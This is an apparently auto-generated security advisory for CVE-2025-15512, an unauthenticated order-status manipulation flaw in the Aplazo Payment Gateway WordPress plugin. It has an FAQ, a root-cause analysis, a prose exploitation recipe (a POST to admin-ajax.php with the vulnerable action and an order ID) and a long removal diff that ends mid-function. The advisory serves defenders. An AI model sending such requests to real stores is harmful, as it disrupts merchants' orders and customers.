What is CVE-2025-15512?

CVE-2025-15512 is a medium severity vulnerability in the Aplazo Payment Gateway plugin for WordPress, affecting versions up to and including 1.4.3. It allows unauthenticated attackers to manipulate WooCommerce order statuses due to a missing authorization check in the check_success_response() function.

How does the vulnerability work?

The vulnerability allows attackers to send a POST request to the WordPress AJAX endpoint without any authentication. By specifying a valid order ID, an attacker can set the status of any WooCommerce order to ‘pending payment’, disrupting store operations.

Who is affected by this vulnerability?

All WordPress sites using the Aplazo Payment Gateway plugin version 1.4.3 or earlier are affected. Administrators should check their plugin version to determine if they are at risk.

How can I check if my site is vulnerable?

To check if your site is vulnerable, look for the Aplazo Payment Gateway plugin in your WordPress dashboard and verify the version. If it is 1.4.3 or earlier, your site is vulnerable.

How can I fix this vulnerability?

The vulnerability is fixed in version 1.5.0 of the Aplazo Payment Gateway plugin. Administrators should update to this version or later to eliminate the risk.

What does a CVSS score of 5.3 mean?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability poses a risk, it may not be easily exploitable without specific conditions, but it still requires prompt attention.

What are the potential risks of exploitation?

If exploited, an attacker can disrupt order processing by changing order statuses to ‘pending payment’. This can lead to confusion for customers and administrators, potentially affecting inventory and fulfillment operations.

What is a proof of concept (PoC)?

A proof of concept is a demonstration that shows how the vulnerability can be exploited in practice. The PoC for CVE-2025-15512 illustrates how to send a malicious request to change an order status without authentication.

How does the proof of concept work?

The PoC uses a PHP script to send a POST request to the vulnerable AJAX endpoint with the required parameters. It mimics a legitimate request, demonstrating how an attacker can manipulate order statuses.

What should I do if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the Aplazo Payment Gateway plugin to prevent exploitation. Additionally, monitor your site for any suspicious activity related to order processing.

Are there any other security measures I should take?

In addition to updating plugins, ensure that your WordPress installation is regularly updated, implement strong user authentication, and consider using security plugins that monitor for unauthorized access.

Where can I find more information about this vulnerability?

Further details about CVE-2025-15512 can be found on the National Vulnerability Database or security advisories related to the Aplazo Payment Gateway plugin.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-15512: Aplazo Payment Gateway <= 1.4.3 – Missing Authorization to Unauthenticated Order Status Manipulation (aplazo-payment-gateway)

CVE ID CVE-2025-15512

Plugin aplazo-payment-gateway

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.4.3

Patched Version 1.5.0

Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15512:
The Aplazo Payment Gateway plugin for WordPress, versions up to and including 1.4.3, contains a missing capability check in its `check_success_response()` function. This vulnerability allows unauthenticated attackers to manipulate the status of any WooCommerce order to ‘pending payment’.

Atomic Edge research identifies the root cause in the `check_success_response()` function within the file `aplazo-payment-gateway/includes/module/class-aplazo-gateway.php`. The function is hooked to the WordPress AJAX action `wp_ajax_nopriv_check_success_response`. This hook permits unauthenticated requests. The function directly processes the `order_id` parameter from the POST request without performing any capability or nonce verification. It then calls `update_status(‘pending’)` on the retrieved WooCommerce order object.

Exploitation requires sending a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must set the `action` parameter to `check_success_response` and include a valid `order_id` parameter. No authentication, authorization, or nonce is required. An attacker can systematically send requests with different order IDs to disrupt store operations and customer order flows.

The patch removes the vulnerable `check_success_response()` function entirely from the `WC_Gateway_Aplazo` class. The diff shows the function’s code block, including the call to `update_status(‘pending’)`, is deleted. This elimination of the insecure endpoint directly addresses the vulnerability by removing the attack vector. The plugin no longer provides an unauthenticated endpoint for order status manipulation.

Successful exploitation allows an unauthenticated attacker to set any WooCommerce order to ‘pending payment’ status. This manipulation can disrupt store operations, cause confusion for customers and administrators, and potentially interfere with inventory and fulfillment processes. The attack does not require any user interaction or prior access to the target site.

Differential between vulnerable and patched code

Code Diff

--- a/aplazo-payment-gateway/includes/index.php
+++ b/aplazo-payment-gateway/includes/index.php
@@ -1,3 +0,0 @@
-<?php
-// Silence is golden.
-exit;
--- a/aplazo-payment-gateway/includes/module/class-aplazo-frontend-scripts.php
+++ b/aplazo-payment-gateway/includes/module/class-aplazo-frontend-scripts.php
@@ -1,48 +0,0 @@
-<?php
-/**
- * Aplazo Woocommerce Module Gateway
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * Aplazo frontend scripts
- */
-class WC_Aplazo_Frontend_Scripts
-{
-    /**
-     * Hook in methods.
-     */
-    public static function init()
-    {
-        add_action('wp_enqueue_scripts', array( __CLASS__, 'custom_wp_enqueue_scripts' ));
-    }
-
-    public static function custom_wp_enqueue_scripts()
-    {
-        wp_enqueue_script( 'aplazo-widget', plugins_url( '../assets/js/aplazo-widget/aplazo-widgets.min.js', plugin_dir_path( __FILE__ )));
-        $images_path = plugins_url('/assets/images/', APLAZO_PLUGIN_FILE) ;
-        wp_localize_script( 'aplazo-widget', 'images', array(
-            'step1' => $images_path . 'step-1.png',
-            'step2' => $images_path . 'step-2.png',
-            'step3' => $images_path . 'step-3.png',
-            'logoraw' => $images_path . 'logo-raw.png',
-            'descmovil' => $images_path . 'aplazo-desc-movil',
-            'aplazodescription' => $images_path . 'aplazo-description.png'
-            ));
-        // add css
-        wp_enqueue_style(
-            'woocommerce-aplazo-checkout',
-            plugins_url( '../assets/css/checkout_aplazo.css', plugin_dir_path( __FILE__ ) )
-        );
-    }
-}
-
-WC_Aplazo_Frontend_Scripts::init();
--- a/aplazo-payment-gateway/includes/module/class-aplazo-gateway.php
+++ b/aplazo-payment-gateway/includes/module/class-aplazo-gateway.php
@@ -1,739 +0,0 @@
-<?php
-/**
- * Aplazo Woocommerce Module Gateway
- * Author - Aplazo
- * Developer
- * License - https://www.gnu.org/licenses/gpl.html GPL version 2 or higher
- *
- * @package Aplazo
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-    exit;
-}
-
-if (!defined('API_APLAZO_URL')) {
-    define('API_APLAZO_URL', 'https://api.aplazo.mx');
-}
-
-/**
- * Aplazo Gateway class
- */
-class WC_Gateway_Aplazo extends WC_Payment_Gateway
-{
-    const SOURCE_LOG = 'aplazo-payment';
-    const LOAN_SUCCESS_STATUS = 'OUTSTANDING';
-
-    /**
-     * Static instance
-     *
-     * @var WC_Gateway_Aplazo
-     */
-    private static $instance = null;
-
-    private $_checkout_url = API_APLAZO_URL . '/api/loan';
-    private $_verify_url = API_APLAZO_URL . '/api/auth';
-    private $_refund_url = '/api/pos/loan/refund';
-    private $_cancel_url = '/api/pos/loan/cancel';
-    private $_status_url = '/api/pos/loan/';
-    /**
-     * @var WC_Aplazo_Log $log
-     */
-    public $log;
-    /**
-     * @var WC_Aplazo_Api
-     */
-    public $aplazo_sevice;
-
-    protected $_supportedCurrencies = array('EUR', 'USD', 'MXN');
-    private $merchantId;
-    private $apiToken;
-    private $lang;
-    private $pay_message;
-    private $status;
-    private $environment;
-    private $product_detail_widget;
-    private $reserve_stock;
-    private $shopping_cart_widget;
-    private string $log_environment;
-
-    public function __construct()
-    {
-        global $woocommerce;
-
-        $this->id = 'aplazo';
-        $this->has_fields = false;
-        $this->method_title = 'Aplazo';
-        $this->method_description = __('Gateway Payment Aplazo', 'aplazo-payment-gateway');
-        $this->init_form_fields();
-        $this->init_settings();
-        $this->merchantId = $this->get_option('merchantId');
-        $this->apiToken = $this->get_option('apiToken');
-        $this->lang = $this->get_option('lang');
-        $this->title = $this->get_option('title');
-        $this->description = $this->get_option('description');
-        $this->pay_message = $this->get_option('pay_message');
-        $this->status = $this->get_option('status');
-        $this->environment = $this->get_option('environment');
-        $this->log_environment = strpos($this->environment, '.mx') !== false ? "https://posbifrost.aplazo.mx/api/v1/merchant/tagging" : "https://posbifrost.aplazo.net/api/v1/merchant/tagging";
-        $this->product_detail_widget = $this->get_option('product_detail_widget');
-        $this->shopping_cart_widget = $this->get_option('shopping_cart_widget');
-        $this->reserve_stock = $this->get_option('reserve_stock');
-        $this->supports             = array( 'products', 'refunds' );
-        $this->icon = $this->get_checkout_icon();
-        // Actions
-        //add woocommerce receipt_page (via generate_form)
-        add_action('woocommerce_receipt_aplazo', array($this, 'receipt_page'));
-        add_action('woocommerce_update_options_payment_gateways_' . $this->id, array($this, 'process_admin_options'));
-
-        //ADD LISTENER FOR HOOK WHITH CHECK RESULT
-        add_action('woocommerce_api_wc_gateway_aplazo', array($this, 'check_aplazo_from_api_response'));
-
-        //Check for
-        if (!$this->is_valid_for_use()) {
-            $this->enabled = false;
-        }
-        $this->includes();
-    }
-
-    //Generate in admin panel info
-    public function admin_options()
-    { ?>
-
-        <h3><?php _e('Payment Aplazo', 'aplazo-payment-gateway'); ?></h3>
-
-        <?php if ($this->is_valid_for_use()) { ?>
-        <table class="form-table"><?php $this->generate_settings_html(); ?></table>
-    <?php } else { ?>
-
-        <div class="inline error">
-            <p>
-                <strong><?php _e('Payment gateway is disabled', 'aplazo-payment-gateway'); ?></strong>: <?php _e('Aplazo dont support currency of your shop.', 'aplazo-payment-gateway'); ?>
-            </p>
-        </div>
-
-    <?php }
-     }
-
-    //Anonce for init form fields
-    public function init_form_fields()
-    {
-        $this->form_fields = array(
-            'enabled' => array(
-                'title' => __('Enable/Disable', 'aplazo-payment-gateway'),
-                'type' => 'checkbox',
-                'label' => __('Enable', 'aplazo-payment-gateway'),
-                'default' => 'yes',
-            ),
-            'title' => array(
-                'title' => __('Title of service by site', 'aplazo-payment-gateway'),
-                'type' => 'textarea',
-                'description' => __('Title of service by front-end on site chekout page. Keep empty if want to show Aplazo banner', 'aplazo-payment-gateway'),
-                'default' => '<aplazo-banner></aplazo-banner>',
-                'desc_tip' => true,
-            ),
-            'description' => array(
-                'title' => __('Description on front page', 'aplazo-payment-gateway'),
-                'type' => 'textarea',
-                'description' => __('Description on front page when chekout goods', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'pay_message' => array(
-                'title' => __('Message before pay', 'aplazo-payment-gateway'),
-                'type' => 'textarea',
-                'description' => __('Message before pay', 'aplazo-payment-gateway'),
-                'default' => __('Please, complete the order with Aplazo clicking here:', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'merchantId' => array(
-                'title' => __('Merchant ID', 'aplazo-payment-gateway'),
-                'type' => 'text',
-                'description' => __('Merchant ID Aplazo. Required parameter', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'apiToken' => array(
-                'title' => __('API Token', 'aplazo-payment-gateway'),
-                'type' => 'text',
-                'description' => __('API Token Aplazo. Required parameter', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'lang' => array(
-                'title' => __('Language', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => 'en',
-                'options' => array('en' => 'en_US', 'es' => 'es_MX'),
-                'description' => __('Language of interface ', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'status' => array(
-                'title' => __('Status of order when get OUTSTANDING state from API', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => 'processing',
-                'options' => array(
-                    'pending' => __('pending', 'aplazo-payment-gateway'),
-                    'processing' => __('processing', 'aplazo-payment-gateway'),
-                    'on-hold' => __('on-hold', 'aplazo-payment-gateway'),
-                    'cancelled' => __('cancelled', 'aplazo-payment-gateway'),
-                    'completed' => __('completed', 'aplazo-payment-gateway'),
-                    'refunded' => __('refunded', 'aplazo-payment-gateway'),
-                    'failed' => __('failed', 'aplazo-payment-gateway')
-                ),
-                'description' => __('Status of order after success pay', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'environment' => array(
-                'title' => __('Select the Aplazo environment', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => 'production',
-                'options' => array(
-                    'https://api.aplazo.net' => __('stage', 'aplazo-payment-gateway'),
-                    'https://api.aplazo.mx' => __('production', 'aplazo-payment-gateway')
-                ),
-                'description' => __('Aplazo Environmnet', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'product_detail_widget' => array(
-                'title' => __('Show widget on Product Detail Page', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => 'yes',
-                'options' => array(
-                    'yes' => __('yes', 'aplazo-payment-gateway'),
-                    'no' => __('no', 'aplazo-payment-gateway')
-                ),
-                'description' => __('Show widget on Product Detail Page', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'shopping_cart_widget' => array(
-                'title' => __('Show widget on Shopping Cart Page', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => 'yes',
-                'options' => array(
-                    'yes' => __('yes', 'aplazo-payment-gateway'),
-                    'no' => __('no', 'aplazo-payment-gateway')
-                ),
-                'description' => __('Show widget on Shopping Cart Page', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'reserve_stock' => array(
-                'title' => __('Reserve stock when the order is created', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => 'no',
-                'options' => array(
-                    'yes' => __('yes', 'aplazo-payment-gateway'),
-                    'no' => __('no', 'aplazo-payment-gateway')
-                ),
-                'description' => __('Reserve stock when the order is created', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'cancel_orders' => array(
-                'title' => __('Time to cancel orders', 'aplazo-payment-gateway'),
-                'type' => 'select',
-                'default' => '24',
-                'options' => array(
-                    '24' => '24 ' . __('hours', 'aplazo-payment-gateway'),
-                    '20' => '20 ' . __('hours', 'aplazo-payment-gateway'),
-                    '16' => '16 ' . __('hours', 'aplazo-payment-gateway'),
-                    '12' => '12 ' . __('hours', 'aplazo-payment-gateway'),
-                    '8' => '8 ' . __('hours', 'aplazo-payment-gateway'),
-                    '6' => '6 ' . __('hours', 'aplazo-payment-gateway'),
-                    '5' => '5 ' . __('hours', 'aplazo-payment-gateway'),
-                    '4' => '4 ' . __('hours', 'aplazo-payment-gateway'),
-                    '3' => '3 ' . __('hours', 'aplazo-payment-gateway'),
-                    '2' => '2 ' . __('hours', 'aplazo-payment-gateway'),
-                    '1' => '1 ' . __('hour', 'aplazo-payment-gateway'),
-                    '30m' => '30 ' . __('minutes', 'aplazo-payment-gateway'),
-                    '15m' => '15 ' . __('minutes', 'aplazo-payment-gateway'),
-                    '0' => __('manual', 'aplazo-payment-gateway'),
-                ),
-                'description' => __('After this time the orders could be cancelled', 'aplazo-payment-gateway'),
-                'desc_tip' => true,
-            ),
-            'icon' => array(
-                'type' => 'hidden',
-                'default' => plugin_dir_url(__FILE__) . 'logo.png',
-                'desc_tip' => false,
-            ),
-            'debug_mode' => array(
-                'title' => __('Debug', 'aplazo-payment-gateway'),
-                'type' => 'checkbox',
-                'label' => __('Active', 'aplazo-payment-gateway'),
-                'default' => 'yes',
-            )
-        );
-    }
-
-    function is_valid_for_use()
-    {
-        return true;
-    }
-
-    function process_payment($order_id)
-    {
-        global $woocommerce;
-
-        $this->log->write_log('info', 'Auth: ');
-        $auth = $this->auth();
-        if(!empty($auth['Authorization'])){
-            $order = new WC_Order($order_id);
-            $order->update_status('Awaiting payment', 'woocommerce-other-payment-gateway');
-            // Reduce Stock
-            if($this->reserve_stock === "yes"){
-                wc_reduce_stock_levels($order_id);
-            }
-            // Remove cart
-            $woocommerce->cart->empty_cart();
-            $this->log->write_log('info', 'Loan: ');
-            $loan = $this->loan($order_id, $order, $auth['Authorization']);
-            if($loan){
-                $order->update_status('pending', __('Order pending payment via APLAZO', 'aplazo-payment-gateway'));
-                if(!empty($loan['url'])){
-                    $order->add_order_note('Aplazo id > ' . $loan['loanId'] . '. '. __('Client has redirected to APLAZO gateway for pay his goods', 'aplazo-payment-gateway'));
-                    return array(
-                        'result' => 'success',
-                        'redirect' => $loan['url'],
-                    );
-                } else {
-                    $order->add_order_note(__('Client has redirected to APLAZO gateway for pay his goods', 'aplazo-payment-gateway'));
-                    return array(
-                        'result' => 'success',
-                        'redirect' => $loan,
-                    );
-                }
-            } else {
-                wc_add_notice( __('Payment error:', 'aplazo-payment-gateway') . __('Communication error', 'aplazo-payment-gateway'), 'error' );
-            }
-        } else {
-            wc_add_notice( __('Payment error:', 'aplazo-payment-gateway') . 'Auth error', 'error' );
-        }
-    }
-
-    public function auth()
-    {
-        $environment= isset($this->environment)?$this->environment:'https://api.aplazo.mx';
-        $data = [
-            "merchantId" => intval($this->get_option('merchantId')),
-            "apiToken" => $this->get_option('apiToken'),
-            "checkout_url" => $environment . '/api/loan',
-            "verify_url" => $environment . '/api/auth'
-        ];
-        $this->log->write_log('info', $data);
-        $response = wp_remote_post( $data['verify_url'], array(
-            'body'    => wp_json_encode($data),
-            'headers' => array(
-                'Content-Type' => 'application/json'
-            ),
-        ));
-        if ( is_wp_error( $response ) ) {
-            $error_message = $response->get_error_message();
-            $this->log->write_log('error', $error_message);
-            $this->aplazo_sevice->sendLog('Error > ' . $error_message, WC_Aplazo_Api::LOGS_CATEGORY_ERROR, WC_Aplazo_Api::LOGS_SUBCATEGORY_AUTH);
-            return false;
-        } else {
-            $response = json_decode(wp_remote_retrieve_body( $response ), true );
-            $this->log->write_log('info', $response);
-            $this->aplazo_sevice->sendLog('Auth > ' . json_encode($response), WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_AUTH);
-            return $response;
-        }
-    }
-
-    public function loan($order_id, $order, $auth)
-    {
-        $environment= $this->environment ?? 'https://api.aplazo.mx';
-        $data = $this->get_order_payload($order_id, $order);
-        $headers = array(
-            'Content-Type' => 'application/json',
-            'Authorization' => $auth
-        );
-        return  $this->aplazo_sevice->apiPost($data, $environment . '/api/loan', $headers);
-    }
-
-    public function refund($order_id, $amount, $reason)
-    {
-        $environment= $this->environment ?? 'https://api.aplazo.mx';
-        $data = array(
-            "cartId"=> $order_id,
-            "totalAmount"=> $amount,
-            "reason"=> $reason
-        );
-
-        $headers = array(
-            'Content-Type' => 'application/json',
-            'merchant_id'  => intval($this->get_option('merchantId')),
-            'api_token'    => $this->get_option('apiToken')
-        );
-
-        return $this->aplazo_sevice->apiPost($data, $environment . $this->_refund_url, $headers);
-    }
-
-    public function cancel($order_id, $amount, $reason)
-    {
-        $environment= $this->environment ?? 'https://api.aplazo.mx';
-        $data = array(
-            "cartId"=> $order_id,
-            "totalAmount"=> $amount,
-            "reason"=> $reason
-        );
-
-        $headers = array(
-            'Content-Type' => 'application/json',
-            'merchant_id'  => intval($this->get_option('merchantId')),
-            'api_token'    => $this->get_option('apiToken')
-        );
-
-        return $this->aplazo_sevice->apiPost($data, $environment . $this->_cancel_url, $headers);
-    }
-
-    public function getStatus($order_id)
-    {
-        $environment= $this->environment ?? 'https://api.aplazo.mx';
-        $headers = array(
-            'Content-Type' => 'application/json',
-            'merchant_id'  => intval($this->get_option('merchantId')),
-            'api_token'    => $this->get_option('apiToken')
-        );
-        $response = $this->aplazo_sevice->apiGet($environment . $this->_status_url . $order_id, $headers);
-        if(!$response){
-            $this->log->write_log('error', __( 'GetStatus communication failed.', 'aplazo-payment-gateway' ) );
-            return false;
-        } else {
-            foreach($response as $index => $loan){
-                if (isset($loan['status'])) {
-                    if($loan['status'] === self::LOAN_SUCCESS_STATUS){
-                        $message = "Loan status for index [$index] is OUTSTANDING. Cart ID $order_id must not be cancelled.";
-                        $this->log->write_log('info',$message);
-                        $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_ORDER,
-                            ['loanId' => $loan['loanId']]);
-                        return $loan;
-                    }
-                    $message = "Loan status is for index [$index] " . $loan['status'] . ". Cart ID $order_id must be cancelled.";
-                    $this->log->write_log('info',$message);
-                    $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_ORDER,
-                        ['loanId' => $loan['loanId']]);
-                } else {
-                    $message = "Loan not found. Cart ID $order_id must be cancelled.";
-                    $this->log->write_log('info',$message);
-                    $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_ORDER);
-                }
-            }
-        }
-        return false;
-    }
-
-    //CALL FORM WITH PARAMETRES FOR RECEIPT"
-    public function receipt_page($order)
-    {
-        echo '<p>' . esc_attr($this->pay_message) . '</p><br/>';
-        echo $this->generate_form($order);
-    }
-
-    //GENERATE OF FORM WITH PARAMETRES FOR RECIEPT"
-    public function generate_form($order_id)
-    {
-        $redirect = get_home_url();
-        $params = array(
-            "merchantId" => intval($this->get_option('merchantId')),
-            "apiToken" => $this->get_option('apiToken')
-        );
-        if
-        (isset($this->environment)){
-            $environment= isset($this->environment)?$this->environment:'https://api.aplazo.mx';
-            $params['verify_url'] = $environment . '/api/auth';
-            $params['checkout_url'] = $environment . '/api/loan';
-        } else {
-            $params['verify_url'] = $this->_verify_url;
-            $params['checkout_url'] = $this->_checkout_url;
-        }
-
-        wp_register_script('aplazo_script', plugin_dir_url(__FILE__) . '/../../../assets/js/script.js', array(), 1, false);
-        wp_localize_script('aplazo_script', 'add_params', $params);
-
-        wp_localize_script(
-            'aplazo_script',
-            'ajax_url',
-            array(
-                'admin_url' => admin_url('admin-ajax.php'),
-                'redirect_page' => $redirect
-            )
-        );
-        wp_enqueue_script('aplazo_script');
-
-        global $woocommerce;
-        $order = new WC_Order($order_id);
-        return $this->cnb_form($this->get_order_payload($order_id, $order));
-    }
-
-    public function get_order_payload($order_id, $order)
-    {
-        $result_url = add_query_arg(['wc-api' => 'wc_gateway_aplazo', 'order_id' => $order_id], home_url('/'));
-        //HERE IS ADDING  CALLBACK FUNC (IN FUNC CUSTOM WC ADD-ACTION) WC.DOC=PAYMENT-GATEWAY-API
-
-        $currency = get_woocommerce_currency();
-        $redirect_page_url = $order->get_checkout_order_received_url();
-        $cart_url = wc_get_cart_url();
-        $products = [];
-        $discount = array(
-            "price" => $order->get_discount_total(),
-            "title" => 'discount title'
-        );
-        $shipping = array(
-            "price" => $order->get_shipping_total(),
-            "title" => $order->get_shipping_method()
-        );
-
-        $taxPrice = '';
-        $taxTitle = '';
-
-        //          Loop through order tax items
-        foreach ($order->get_items('tax') as $item) {
-            $taxPrice = $item->get_tax_total(); // Get rate code name (item title)
-            $taxTitle = $item->get_name(); // Get rate code name (item title)
-        }
-        $order_items = $order->get_items();
-
-        foreach ($order_items as $product) {
-            $prodObj = wc_get_product($product['product_id']);
-            $image_id = $prodObj->get_image_id();
-            $image_url = wp_get_attachment_image_url($image_id, 'full');
-            $products[] = array(
-                'count' => $product['qty'],
-                'imageUrl' => $image_url,
-                'description' => $product['name'],
-                'title' => $product['name'],
-                'price' => $product['total'],
-                'id' => $product['product_id'],
-            );
-        }
-        $taxes = array('price' => $taxPrice, 'title' => $taxTitle);
-
-        $buyer = array(
-            'email' => $order->get_billing_email(),
-            'firstName' => $order->get_billing_first_name(),
-            'lastName' => $order->get_billing_last_name(),
-            'addressLine' => $order->get_billing_address_1(),
-            'phone'  => $order->get_billing_phone(),
-            'postalCode'   => $order->get_billing_postcode(),
-        );
-
-        return array(
-            'buyer' => $buyer,
-            'cartId' => "" . $order_id . "",
-            'cartUrl' => $cart_url,
-            'currency' => esc_attr($currency),
-            'description' => _("Payment for order - ") . $order_id,
-            'discount' => $discount,
-            'errorUrl' => $redirect_page_url,
-            'language' => $this->lang,
-            'merchantId' => intval($this->get_option('merchantId')),
-            'order_id' => esc_attr($order_id),
-            'products' => $products,
-            'shipping' => $shipping,
-            'shopId' => $this->merchantId,
-            'successUrl' => $result_url,
-            'webHookUrl' => $this->get_return_url(),
-            'taxes' => $taxes,
-            'totalPrice' => esc_attr((float) $order->get_total())
-        );
-    }
-
-    //Method for use generate form BY
-    public function cnb_form($params)
-    {
-        if (!isset($params['language'])) $language = 'en';
-        else $language = $params['language'];
-        $params = $this->cnb_params($params);
-        $data = base64_encode(json_encode($params));
-        $button = '<input type="submit" style="width: 300px" name="btn_text" id="submitBtn" value="Completar pago con Aplazo" disabled/>';
-        return sprintf(
-            '
-            <form method="POST" action="%s" accept-charset="utf-8" id="aplazoSubmitFormId" onsubmit="return onSubmitAplazo(event)" enctype="application/json">
-                %s
-                %s' . $button . '
-            </form>
-            ',
-            $this->_checkout_url,
-            sprintf('<input type="hidden" name="%s" value="%s" />', 'data', $data),
-            ''
-        );
-    }
-
-    //CHECK FOR INSERT PARAMS
-    private function cnb_params($params)
-    {
-        $params['merchantId'] = $this->merchantId;
-
-        if (!isset($params['totalPrice'])) {
-            throw new InvalidArgumentException('amount is null');
-        }
-        if (!isset($params['shopId'])) {
-            throw new InvalidArgumentException('shopId is null');
-        }
-        if (!isset($params['cartId'])) {
-            throw new InvalidArgumentException('cartId is null');
-        }
-        if (!isset($params['currency'])) {
-            throw new InvalidArgumentException('currency is null');
-        }
-        if (!in_array($params['currency'], $this->_supportedCurrencies)) {
-            throw new InvalidArgumentException('currency is not supported');
-        }
-        if ($params['currency'] == 'MXP') {
-            $params['currency'] = 'MXN';
-        }
-        return $params;
-    }
-
-    public function show_widget_product_detail(){
-        if($this->product_detail_widget == "yes") return true;
-        else return false;
-    }
-
-    public function show_widget_shopping_cart(){
-        if($this->shopping_cart_widget == "yes") return true;
-        else return false;
-    }
-
-    //To formation signature
-
-    function check_aplazo_from_api_response()
-    {
-        global $woocommerce;
-        $data = json_decode(file_get_contents('php://input'), true);
-        $this->log->write_log('info', '**** Aplazo started communication via woocommerce webhook.');
-        $this->log->write_log('info', $data);
-        $this->aplazo_sevice->sendLog('Webhook started from Aplazo', WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_WEBHOOK,
-        ['data' => file_get_contents('php://input')]);
-
-        if(isset($_GET['order_id'])){
-            $order_id = ( int ) sanitize_text_field($_GET['order_id']);
-        }
-        if (isset($data['status']) && !empty($order_id)) {
-            $status = $data['status'];
-            $order = new WC_Order($order_id);
-
-            //Check of status from response data
-            if ($status == 'New' || $status == 'NEW') {
-                $message = 'Order will send to pending.';
-                $this->log->write_log('info', $message);
-                $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_WEBHOOK,
-                    ['orderId' => $order_id]);
-                $order->add_order_note(__('Client has not payed for his goods (status changed)', 'aplazo-payment-gateway'));
-                $order->update_status('pending', __('Order has pending via APLAZO', 'aplazo-payment-gateway'));
-                $woocommerce->cart->empty_cart();
-            } else if ($status == 'Cancelled' || $status == 'CANCELLED') {
-                //Mark order of status and empty cart
-                $message = 'Order will be cancelled.';
-                $this->log->write_log('info', $message);
-                $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_WEBHOOK,
-                    ['orderId' => $order_id]);
-                $order->add_order_note(__('Client has not payed for his goods (status changed)', 'aplazo-payment-gateway'));
-                $order->update_status('cancelled', __('Order has cancelled via APLAZO (payment cancelled)', 'aplazo-payment-gateway'));
-                $woocommerce->cart->empty_cart();
-            } else if ($status == 'Activo' || $status == 'OUTSTANDING') {
-                $message = 'Aplazo order was paid. The order should advance.';
-                $this->log->write_log('info', $message);
-                $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_WEBHOOK,
-                    ['orderId' => $order_id]);
-                $this->updatePaidOrder($data, $order, $order_id);
-                $this->log->write_log('info', 'Order was advanced successfully.');
-                $woocommerce->cart->empty_cart();
-            } else {
-                $message = 'API APLAZO sended unknown status';
-                $this->aplazo_sevice->sendLog($message, WC_Aplazo_Api::LOGS_CATEGORY_ERROR, WC_Aplazo_Api::LOGS_SUBCATEGORY_WEBHOOK);
-                wp_die($message);
-
-            }
-        } else {
-            wp_redirect(get_home_url());
-        }
-    }
-
-    public function updatePaidOrder($data, $order, $order_id)
-    {
-        $new_status = (isset($this->status)) ? $this->status : 'processing';
-        $loan_id = (!empty($data['loanId'])) ? $data['loanId'] : '';
-        $comment_loan_id = (!empty($data['loanId'])) ? '. Aplazo ID:' .$data['loanId'] : '';
-
-        if(!$order->get_meta('_aplazo_order_paid')){
-            $this->log->write_log('info', 'meta data _aplazo_order_paid should be filled with loan id > ' . $loan_id);
-            $order->update_meta_data( '_aplazo_order_paid', $loan_id );
-        }
-        //Mark order of status and empty cart
-        $order->update_status($new_status, __('Order in ' . $new_status . ' via APLAZO (status changed)', 'aplazo-payment-gateway') . $comment_loan_id);
-
-        if ( 'yes' === get_option( 'woocommerce_manage_stock' ) && apply_filters( 'woocommerce_can_reduce_order_stock', true, $order )
-            && $this->reserve_stock === "no") {
-            $this->log->write_log('info', 'Time to reduce stock.');
-            wc_reduce_stock_levels($order_id);
-        }
-    }
-
-    /**
-     * Process a refund if supported.
-     *
-     * @param  int    $order_id Order ID.
-     * @param  float  $amount Refund amount.
-     * @param  string $reason Refund reason.
-     * @return bool|WP_Error
-     */
-    public function process_refund( $order_id, $amount = null, $reason = '' ) {
-        $order = wc_get_order( $order_id );
-        $this->log->write_log('info', 'Proceso de reembolso');
-        $this->aplazo_sevice->sendLog('Proceso de reembolso', WC_Aplazo_Api::LOGS_CATEGORY_INFO, WC_Aplazo_Api::LOGS_SUBCATEGORY_REFUND,
-            ['orderId' => $order_id]);
-
-        if ( ! $this->can_refund_order( $order ) ) {
-            $this->log->write_log('error', 'Rembolso fallido. Revisar logs.');
